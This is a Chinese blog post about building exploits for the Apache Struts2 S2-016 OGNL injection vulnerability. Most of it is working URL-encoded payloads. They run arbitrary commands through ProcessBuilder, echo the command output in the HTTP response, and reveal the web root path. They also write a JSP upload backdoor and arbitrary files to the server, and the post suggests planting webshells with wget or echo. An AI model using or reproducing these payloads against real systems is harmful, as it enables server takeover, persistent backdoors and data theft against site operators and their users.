Struts2 S2-016 EXP代码与工具

这篇日志发布时间已经超过一年,许多内容可能已经失效,请读者酌情参考。

从Struts官方不负责任的公布了S2-016/S2-017的POC以来,已经过去了2个周。期间各种工具和代码满天乱飞,被黑了的网站也不计其数,包括淘宝在内的多个电商、网银等等统统中招。为啥点名淘宝呢,因为漏洞的分析者空虚浪子心正是阿里巴巴的安全专家,不过即使这样,由于各种狗血的原因淘宝依旧没有摆脱Struts2漏洞的影响。

期间有传言淘宝被脱裤。不明真相的我表示:从S2-016这种0day的出现可以看出,网络上必然流传着很多直接秒杀各种服务器和应用的0day,所以即便被脱裤了,也不要太惊讶。另外,帐号安全是多个维度的,即使帐号密码丢了,阿里也有一定的风控体系,可以在一定程度上保护财产安全。换个角度看,如果真的有人接触到了核心数据库——还拖个P库啊,直接加钱啊!当然,也不是一定要碰到钱才能构成危害,这年头隐私跟RMB一样重要。。。。

漏洞出来这么久,大部分已经打了补丁,所以我在这里就简单写一下利用代码的构造。

第一个问题是代码执行。

关于S2-016,官方给出的POC是这样的

redirect:%{(new java.lang.ProcessBuilder(new java.lang.String[]{'command','goes','here'})).start()}

然后很多人在利用的时候会写成这样

redirect:%{(new java.lang.ProcessBuilder(new java.lang.String[]{'whoami'})).start()}

OK,这样是没有问题的,但是如果执行的是net user呢?

redirect:%{(new java.lang.ProcessBuilder(new java.lang.String[]{'net user'})).start()}

然后就报错了。。。。 这显然是没有看过一点java啊。。。

可以认为ProcessBuilder(String... command)的参数为一个String数组,则利用代码其实应该是ProcessBuilder(new String[]{'net','user'})这种形式。

第二个问题是回显。

回显的基本原理是,用ProcessBuilder执行命令,将返回的结果写入一个BufferedReader,然后用context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse')获取一个HttpServletResponse对象,这个东西就是产生http响应内容的东西,只要把BufferedReader用HttpServletResponse输出就可以了。 因此其实证明POC或是说写EXP证明漏洞是否存在,可以直接用HttpServletResponse写一个‘xbzbing’出来就行了,如果‘xbzbing’在的话,说明漏洞存在。

redirect:${%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23req.getWriter().println('xbzbing'),%23req.getWriter().flush(),%23req.getWriter().close()}

换句话说,如果官方给出的POC是这样一个,那么利用的门槛必然是提高不少,结果官方给出了一个赤裸裸的执行任意命令的POC,这尼玛简直是坑爹呢。

第三个问题是回显的乱码问题。

这也许无关紧要,但是对于看着乱码揪心的强迫症患者来说,还是很有要解决的。

 解决回显乱码问题

乱码的成因无非是编码不统一造成的,即输入的编码、文件本身的编码、输出的编码、解析的编码,这四者不统一有冲突造成的。所以解决的方法就是强制编码。

redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'ipconfig','-all'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b,'GBK'),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[5000],%23d.read(%23e),%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23req.setContentType('text/html;charset%3dGBK'),%23req.getWriter().println(%23e),%23req.getWriter().println('--EOF--'),%23req.getWriter().flush(),%23req.getWriter().close()}

只要在接收ProcessBuilder的执行结果时采用GBK编码,在输出之后使用GBK解析就可以了。 虽然命令执行的话,根本不需要回显:)

第四个问题就是getshell。

我在之前吐槽过网上流传的getshell代码。

redirect:${#req=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),#p=(#req.getRealPath("/")+"css3.jsp").replaceAll("\\\\", "/"),new java.io.BufferedWriter(new java.io.FileWriter(#p)).append(#req.getParameter("c")).close()}&c=<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>

先把一个负责上传的小马写到网站根目录,然后再在本地构造一个提交表单,把大马提交过去——亲们啊,都能上传小马了为什么不直接写大马啊。。。。

当然不排除是因为网上丢的POC都是用GET方式提交的,而jsp的大马可能会过大导致上传失败,而且其中的代码在GET方式提交的时候会产生奇葩的编码问题。但是struts这货默认用request方式接受参数,所以POST/GET是通吃的,换POST即可。

顺便这里提一下其他getshell的思路。

第一个是获取网站根目录,然后用wget命令写入一个jsp木马。限制是wget命令啊亲,让win主机情何以堪。

第二个是获取网站根目录,然后echo写入jsp木马——怎么感觉好纠结哦。。。。 所以顺手提一下获取网站根目录的代码——其实就隐藏在上面的getshell代码里面。

#req=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),即获取一个HttpServletRequest对象。使用HttpServletRequest对象的getRealPath方法获取“/”根目录的绝对路径。 得到根路径,再用HttpServletResponse对象输出出来就可以了。

redirect:${%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23res%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23res.getWriter().println(%23req.getRealPath(%22/%22)),%23res.getWriter().println('--EOF--'),%23res.getWriter().flush(),%23res.getWriter().close()}

有了根目录,就可以进行文件写入了,所以其实还可以支持相对目录,在获取根目录后加入相对目录即可。 所以我最后使用的getshell代码是:

redirect:${%23req%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27),%23res%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23p%3d%23req.getRealPath(%22/%22)%2b%22readme.txt%22,%23res.getWriter().println('Upload completed!File path:['%2b%23p%2b']'),%23res.getWriter().flush(),%23res.getWriter().close(),new%20java.io.FileOutputStream(%23p).write(%23req.getParameter(%22c%22).getBytes()).close()}&c=hello world

其中的readme.txt是保存在服务器上的文件名,可以写相对路径,hello world则是要提交的代码。 代码中嵌入了一个HttpServletResponse,用来输出结果,纯粹是为了美观:) P.S.处于多方面考虑还附带了一个Base64编码的上传选项。据说有些网站WAF会屏蔽后门的代码导致上传失败——因为我不用来黑站,所以还没有遇到这种情况。

最后附上用swing写的exp工具,支持getshell。代码未作混淆,求会swing的同学指点gui制作啊。

(下载地址丢失。。)

留言交流

没有评论
点击换图